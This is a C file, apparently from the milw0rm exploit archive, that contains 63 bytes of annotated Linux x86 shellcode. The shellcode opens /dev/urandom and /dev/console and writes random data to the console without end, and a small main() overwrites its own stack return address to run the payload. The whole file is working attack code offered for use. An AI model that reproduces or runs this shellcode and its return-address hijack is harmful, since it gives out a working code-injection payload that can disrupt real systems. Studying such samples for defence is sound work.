65 lines
No EOL
1.5 KiB
C
65 lines
No EOL
1.5 KiB
C
/*
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* (linux/x86) cat /dev/urandom > /dev/console, no real profit just for kicks - 63 bytes
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* - izik <izik@tty64.org>
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*/
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char shellcode[] =
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"\x31\xc9" // xor %ecx,%ecx
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"\x51" // push %ecx
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"\x68\x6e\x64\x6f\x6d" // push $0x6d6f646e
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"\x68\x2f\x75\x72\x61" // push $0x6172752f
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"\x68\x2f\x64\x65\x76" // push $0x7665642f
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"\x89\xe3" // mov %esp,%ebx
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"\xb1\x02" // mov $0x2,%cl
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//
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// <_openit>:
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//
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"\x6a\x05" // push $0x5
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"\x58" // pop %eax
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"\x99" // cltd
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"\xcd\x80" // int $0x80
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"\x96" // xchg %eax,%esi
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"\x5f" // pop %edi
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"\x5d" // pop %ebp
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"\x5d" // pop %ebp
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"\x68\x73\x6f\x6c\x65" // push $0x656c6f73
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"\x68\x2f\x63\x6f\x6e" // push $0x6e6f632f
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"\x57" // push %edi
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"\xe2\xe9" // loop <_openit>
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"\x89\xc3" // mov %eax,%ebx
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//
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// <_makeio>:
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//
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"\xb2\x04" // mov $0x4,%dl
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"\x89\xe1" // mov %esp,%ecx
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//
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// <_pre_ioloop>:
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//
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"\xb0\x03" // mov $0x3,%al
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"\xf8" // clc
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//
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// <_ioloop>:
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//
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"\xcd\x80" // int $0x80
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"\x87\xde" // xchg %ebx,%esi
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"\x72\xf7" // jc <_pre_ioloop>
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"\xf9" // stc
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"\xeb\xf7"; // jmp <_ioloop>
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int main(int argc, char **argv) {
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int *ret;
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ret = (int *)&ret + 2;
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(*ret) = (int) shellcode;
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}
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// milw0rm.com [2006-01-21]
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